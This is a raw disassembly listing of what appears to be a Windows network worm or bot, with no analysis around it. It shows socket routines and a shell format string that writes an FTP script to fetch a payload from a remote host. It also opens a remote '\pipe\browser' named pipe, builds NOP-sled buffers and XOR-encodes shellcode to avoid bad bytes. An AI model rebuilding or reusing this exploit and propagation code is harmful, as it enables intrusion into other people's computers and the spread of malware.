rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464D4 lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446548 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp nop call near ptr 71AB615Ah push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_446354 lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463D4 lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch nop call near ptr 2831CE8h sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 call near ptr 71AB2BF4h nop mov edx, [esp+6FEh] mov [esp+10h], eax push edx call near ptr 71AB2B66h nop push 6 push 1 push 2 mov [esp+1Ah], ax nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FC8 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi push 0 push 0A8h push offset dword_446054 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi push 0 push 0DEh push offset dword_446100 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx nop call near ptr 71AB9639h test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 2831CE8h mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 nop call near ptr 71AB2BF4h mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx nop call near ptr 71AB2B66h push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi nop call near ptr 71AB615Ah mov ecx, offset byte_449521 call sub_4017EE push eax mov ecx, offset byte_449521 call sub_4017EE mov edx, dword_44965F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h call near ptr 2831CE8h nop mov ecx, offset byte_449521 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi call near ptr 71AB615Ah nop push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469C4 rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51011C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C3C mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_446974 rep stosd mov eax, dword_446C34 mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_4469A4 lea edi, [esp+69Ch] mov ax, word_446C30 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_446910 push 104h push edx mov [esp+6BCh], ax call esi add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F40 push offset byte_448F40 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx nop call near ptr 286033Ah mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446928 push esi call near ptr 2780000h nop test eax, eax jnz short loc_426427 push esi call near ptr 284070Bh nop or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi nop call near ptr 27E0000h test eax, eax jnz short loc_426458 push esi call near ptr 284070Bh nop or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C74 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CD8, ecx lea ecx, [eax+1] mov dword_446CF9, ecx lea ecx, [eax+17h] mov dword_446CF1, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446D07, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CE8 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CEC mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CED lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CF1 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CF5 mov [ecx+8], esi mov esi, dword_446CF9 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CFD rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510124 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510124, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C5C mov edi, edx mov byte_446C69, bl mov byte_446C6D, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C44 mov edi, edx mov word_446C52, bx mov byte_446C57, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B1AF[eax*4], ecx mov dword_44B19B[eax*4], ecx mov dword_44B19F[eax*4], ecx mov dword_44B1A3[eax*4], ecx mov dword_44B1A7[eax*4], ecx mov dword_44B1AB[eax*4], ecx mov byte_44AF9B[eax*4], cl mov byte_44B1B3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B1AF[esi*4] push eax call near ptr 2770C56h nop cmp dword_44B1AF[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B1AF[esi*4], ebx mov dword_44B19B[esi*4], ebx mov dword_44B19F[esi*4], ebx mov eax, dword_44B1A3[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B1A3[esi*4], ebx mov byte_44AF9B[esi*4], bl mov byte_44B1B3[esi*4], bl mov ecx, dword_44B1A7[esi*4] push ecx call edi mov dword_44B1A7[esi*4], ebx mov edx, dword_44B1AB[esi*4] lea esi, ds:44B1ABh[esi*4] push edx call edi mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B19F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D819F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2700000h mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi nop call near ptr 2790349h test eax, eax jnz short loc_426B45 push esi xor edi, edi nop call near ptr 284070Bh loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B19B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D819B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B19B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D819B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF9B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F9B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF9Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9C4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " 